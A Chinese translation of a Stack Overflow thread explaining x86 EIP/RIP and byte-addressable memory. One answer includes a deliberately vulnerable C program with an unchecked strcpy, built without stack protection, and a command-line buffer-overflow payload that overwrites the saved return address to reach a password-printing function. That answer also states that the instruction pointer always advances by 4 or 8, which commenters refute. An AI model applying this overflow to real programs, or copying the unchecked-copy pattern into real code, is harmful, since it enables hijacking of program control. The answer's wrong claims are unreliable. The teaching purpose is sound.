了解EIP (RIP)寄存器的工作原理?

14

我完全不熟悉计算机体系结构和处理器/内存级别发生的低级操作。我先说一下这个。我在电脑上所做的几乎都是高级编程,如C++、Java等。

话虽如此,我目前正在阅读一本涉及低级编程的书,包括汇编语言、寄存器、指针等内容。我对EIP寄存器的工作原理感到困惑。

从书中所说,每个内存地址有一个字节,每个字节又有一个内存地址。

从我所读到的关于EIP寄存器的内容来看,它指向处理器要执行的下一组指令。使用调试工具(GDB)跟随书中的示例代码时,如果要检查特定位置的内存,比如:

x/8xb,它据称可以让您检查内存地址处的前8个字节。但如果每个内存地址只有1个字节,我就不明白了。能否有人帮我理解这个问题?我一直在寻找详细的解释,但似乎找不到相关内容。


这是一个关于具体架构的实际问题,它是一个工程问题,而不是科学问题,因此我将其迁移到一个相关的网站上。 - Gilles 'SO- stop being evil'
1
它显示了从指定地址开始顺序递增的8个字节。 - jcoder
2
它们并不都在同一个地址上。如果您将地址增加一到两个,然后再显示8个字节,就可以轻松地看到这一点。 - harold
7
当他们说“在特定地址上的8个字节”时,意思是“在从该地址开始的内存块中的8个字节”。第二个、第三个字节等将具有更大的地址。 - Seva Alekseyev
你还对这个问题感兴趣吗? - Hadi Brais
2个回答

6

让我们从一个具体的、x86特定的例子开始。

00000000000020b0 <foo>:
    20b0: 89 d1                         movl    %edx, %ecx
    20b2: 89 f8                         movl    %edi, %eax
    20b4: 0f af c6                      imull   %esi, %eax
    20b7: 31 d2                         xorl    %edx, %edx
    20b9: f7 f1                         divl    %ecx
    20bb: c3                            ret

为了简化和举例说明,将内存视为一个巨大的字节数组,将内存地址视为对这样一个数组的索引0。当某个东西位于给定的内存地址时,这基本上意味着它的第一个字节位于该地址,它的第二个字节(如果它不止一个字节)位于下一个地址,以此类推。例如,foo从地址0x20B01开始,跨越12个字节。这意味着从0x20B00x20BB(包括边界)的每个地址都指向函数中的一个字节。

x86中的程序计数器称为RIP(32位系统中称为EIP),它指向下一条指令2。例如,如果正在执行的当前指令是位于0x20B2处的指令,则RIP将包含值0x20B4。由于x86的CISC性质,指令大小不同,因此RIP不一定每次都会增加固定数量的值。

00000000000020b0 <foo>:
    20b0: 89 d1                         movl    %edx, %ecx
EX->20b2: 89 f8                         movl    %edi, %eax
PC->20b4: 0f af c6                      imull   %esi, %eax
    20b7: 31 d2                         xorl    %edx, %edx
    20b9: f7 f1                         divl    %ecx
    20bb: c3                            ret

在下一次“迭代”中,EX(不是实际的寄存器,只是用于标记正在执行的内容)将指向imull指令,PC(RIP)将指向xorl指令,直到ret指令,在此时存储在栈上的返回地址将被加载到RIP中,以便可以在调用者foo处继续执行。
0正如Peter Cordes提到的那样,存在一些架构不适用于这种情况。为了回答问题,本答案特定于x86。
1实际运行时该函数找到的地址并非如此,但是为了举例而言,请假设它是这样的。
2有一些架构,程序计数器指向当前指令(例如AArch64),甚至指向两个指令之前(例如AArch32)。

1

指令指针通常是微处理器上的寄存器(内存),32位系统每次增加4(4字节),64位系统每次增加8(即8字节),以便指向下一条指令。

当程序进入函数时,保存的指令指针(ip/rip/eip)是返回地址,即函数在终止后应跳回的地址。

从书中所说的来看,每个内存地址都有一个字节,每个字节都有一个内存地址。

那似乎是一个8位计算机,而这并不是我们通常遇到的情况。例如,我们看一个特定的程序:

#include <stdio.h>
#include <string.h>

char * pwd = "pwd0";

void print_my_pwd() {
  printf("your pwd is: %s\n", pwd);
}

int check_pwd(char * uname, char * upwd) {
  char name[8];
  strcpy(name, uname);

  if (strcmp(pwd, upwd)) {
    printf("non authorized\n");
    return 1;
  }
  printf("authorized\n");
  return 0;
}

int main(int argc, char ** argv) {
  check_pwd(argv[1], argv[2]);
  return 0;
}

我可以使用gdb构建并检查它。

$ make
gcc -O0 -ggdb -o main main.c -fno-stack-protector
$ gdb main
GNU gdb (Ubuntu 8.2-0ubuntu1~18.04) 8.2
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from main...done.
(gdb) b check_pwd
Breakpoint 1 at 0x76c: file main.c, line 12.
(gdb) run joe f00b4r42
Starting program: /home/developer/main joe f00b4r42
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, check_pwd (uname=0x7fffffffdc01 "joe", upwd=0x7fffffffdc05 "f00b4r42") at main.c:12
12    strcpy(name, uname);
(gdb) info frame
Stack level 0, frame at 0x7fffffffd6d0:
 rip = 0x55555555476c in check_pwd (main.c:12); saved rip = 0x5555555547ef
 called by frame at 0x7fffffffd6f0
 source language c.
 Arglist at 0x7fffffffd6c0, args: uname=0x7fffffffdc01 "joe", upwd=0x7fffffffdc05 "f00b4r42"
 Locals at 0x7fffffffd6c0, Previous frame's sp is 0x7fffffffd6d0
 Saved registers:
  rbp at 0x7fffffffd6c0, rip at 0x7fffffffd6c8

从上面可以看到,saved rip(指令指针)位于0x7fffffffd6c8,其值为0x5555555547ef(它所在的位置和它的值之间有重要的区别)。我可以故意溢出程序,用我知道的其他值来覆盖它:

(gdb) p &name
$1 = (char (*)[8]) 0x7fffffffd6b8
(gdb) p &print_my_pwd
$2 = (void (*)()) 0x55555555473a <print_my_pwd>
(gdb) Quit

现在我知道namerip之间的距离(不是值,而是它们的位置):0x7fffffffd6c8 - 0x7fffffffd6b8 = 16。因此,我将16个字节写入name的位置,以便我将写入rip的值,我所写的是print_my_pwd的位置,即UUUUG:并且反向,因为它是小端计算机。
$ ./main $(python -c "print 'AAAAAAAAAAAAAAAA:GUUUU'") B
non authorized
your pwd is: pwd0
Segmentation fault (core dumped)
$  

从你看到的,输入导致了溢出并覆盖了指令指针的值,并导致指令指针跳转到打印密码的函数位置。

在现实生活中不要编写这样的代码,但希望这有助于理解当您不检查输入的边界时它是如何工作和不工作的。


3
在像x86这样的普通CPU上,每个内存地址都有一个字节,每个字节都有一个内存地址。这就是所谓的“字节寻址内存”。从地址加载32位数据时,会从4个不同的地址中加载字节,这4个地址是由这4个地址中最低的地址来选择的。 - Peter Cordes
1
你几乎没有回答问题的标题; 你谈论修改堆栈上保存的RIP值,却完全没有谈到它们是如何被存储(通过call)或重新加载(通过ret)的。同样重要的是指出,输入只会间接地覆盖指令指针的值。RIP本身是一个寄存器,没有内存地址。尽管利用社区将返回地址称为rip(而不是“保存的RIP”或其他任何东西),但那只是简写。在计算机体系结构中,指令指针就是寄存器本身。 - Peter Cordes
@PeterCordes “每个内存地址都有一个字节” - 例如,32位微处理器上的寄存器是具有内存地址的内存,它包含一个32位数字,这比一个字节要多得多,不是吗?还是我误解了这个说法?我还更新了我的答案,附上了程序计数器/指令指针的链接,说明了它的一般性质。我认为溢出的例子将PC的使用放入了上下文中。有关详细信息,可以参考Hennessy-Patterson书或David Harris书(“Digital Design”),但PC仅用于控制流程。 - Niklas Rosencrantz
1
是的,每个字节都有自己的地址,但你仍然可以说一个7字节的指令,比如mov rax, -123一个地址,即它最低字节的地址。尽管指令字节实际上来自于7个不同的地址。或者对于数据,mov rax, [rdi]从RDI中的地址进行8字节的加载。这是一个字节的地址,也是一个qword(和word和dword)的地址。但在一个字寻址的机器上(比如一些DSPs),只有整个字有单独的地址,最小的可能加载是一个字。https://en.wikipedia.org/wiki/Word-addressable - Peter Cordes

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接